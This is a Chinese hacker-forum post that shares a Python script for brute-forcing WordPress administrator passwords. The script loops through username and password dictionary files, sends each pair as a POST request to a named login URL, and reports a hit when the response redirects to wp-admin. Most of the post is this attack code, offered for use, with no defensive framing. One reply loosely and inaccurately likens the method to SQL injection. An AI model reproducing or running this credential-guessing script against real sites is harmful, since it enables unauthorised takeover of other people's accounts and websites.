[Python] 利用python破解一个 WordPress 管理员账户的密码

1500 1
yang28852 2023-6-24 19:06:15 | 显示全部楼层 |阅读模式
本帖最后由 yang28852 于 2023-6-24 19:09 编辑

[xmd]它使用了一个循环,将字典中的每个用户名和密码组合作为POST请求参数发送到指定的登录页面。如果页面跳转到了wp-admin后台页面,那么说明该组合是有效的,即该用户名和密码是正确的,代码如下:

import urllib3
import urllib.parse

http = urllib3.PoolManager(headers={'Content-Type': 'application/x-www-form-urlencoded'})

url = "http://www.ikunct1.top/admin/login.php"

users = []      # 初始化存储用户名的列表
passwords = []  # 初始化存储密码的列表

# 从文件中读取所有用户名和密码
with open('用户字典', 'r') as userlist:
    users = userlist.readlines()
with open('密码字典', 'r') as passwordlist:
    passwords = passwordlist.readlines()

# 循环处理用户名和密码组合
for user in users:
    user = user.strip()
    for password in passwords:
        password = password.strip()

        values = {'log': user, 'pwd': password}

        # 输出正在尝试的用户名和密码组合
        print(f"Trying user={user}, password={password}")

        encoded_values = urllib.parse.urlencode(values).encode('utf-8')
        response = http.request('POST', url, body=encoded_values)

        try:
            idx = response.geturl().index('wp-admin')
        except ValueError:
            idx = -1

        # 输出是否找到正确的用户名和密码
        if (idx >= 0):
            print(f"Found username: {user}, password: {password}")
            break
        else:
            print(f"Failed username: {user}, password: {password}")

    if (idx >= 0):
        break
开朗的盟员 2023-7-2 18:28:21 | 显示全部楼层
和SQL注入的原理差不多,但不完全一样
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

yang28852

初入联盟

关注
  • 3
    主题
  • 0
    粉丝
  • 0
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行